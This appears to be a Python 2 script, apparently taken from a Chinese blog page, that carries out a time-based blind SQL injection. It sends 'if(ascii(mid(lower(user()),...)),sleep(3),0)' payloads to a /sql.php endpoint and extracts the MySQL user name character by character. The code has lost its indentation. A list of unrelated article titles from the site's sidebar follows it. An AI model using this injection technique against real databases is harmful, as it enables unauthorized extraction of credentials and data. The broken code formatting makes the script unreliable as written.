#encoding=utf-8
import httplib
import time
import string
import sys
import urllib
header = {'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Charset':'GB2312,utf-8;q=0.7,*;q=0.7',
'Accept-Language':'zh-cn,zh;q=0.5',
'Cache-Control':'max-age=0',
'Connection':'keep-alive',
'Keep-Alive':'',
'User-Agent':'Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.14) Gecko/20110221 Ubuntu/10.10 (maverick) Firefox/3.6.14'} payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 21):
for payload in payloads:
try: s = "ascii(mid(lower(user()),%s,1))=%s" % (i, ord(payload))
s = " and (if(%s,sleep(3),0))#" % s
conn = httplib.HTTPConnection('127.0.0.1', timeout=3)
conn.request(method='GET', url="/sql.php?cmd=1%s" % urllib.quote(s),headers=header) conn.getresponse()
conn.close()
# print '.',
except Exception,e:
# print e
user += payload
print '\n[surprise]:', user,
time.sleep(3.0)
break
print '\n[Done] MySQL user is %s' % user

最新文章

  1. gpu对任意长度的矢量求和
  2. sizeof和strlen的区别
  3. nwjs如何打包文件为exe文件并修改exe图标
  4. tracert 命令详解
  5. Docker 基础技术:Linux Namespace(下)
  6. Dynamic Programming (DP) 问题总结
  7. 在Quick-cocos2dx中使用云风pbc解析Protocol Buffers,支持win、mac、ios、android
  8. 【转】BLE开发的各种坑
  9. vue2.0实践 —— Node + vue 实现移动官网
  10. AttributeError: 'module' object has no attribute 'enableTrace'
  11. vue-引入外部js文件的方法和常量
  12. [sharepoint]修改Item或者File的Author和Editor
  13. Request processing failed; nested exception is java.lang.IllegalStateException: getOutputStream() has already been called for this response
  14. sql server alwayson 可用性组 只读路由的设置
  15. windows安装redis的正确姿势
  16. Webform和MVC,为什么MVC更好一些?(转)
  17. bzoj1607
  18. ACM1001:Sum Problem
  19. Codeforces Round #299 (Div. 2) D. Tavas and Malekas kmp
  20. 一款仿ios7的switches开关按钮

热门文章

  1. (转)HTML5 本地存储
  2. 面向连接的Socket Server的简单实现(简明易懂)
  3. iOS开发之修改动画对象的元素属性
  4. Effective C++ ----以对象管理资源
  5. C# delegate & event
  6. 简单的多线程(活用OD解决运行时错误)
  7. HttpHandler中无法使用Session(context.Session 为Null)
  8. HDU 3932
  9. 【转】3 Essential Sublime Text Plugins for Node & JavaScript Developers
  10. lua元表和元方法 《lua程序设计》 13章 读书笔记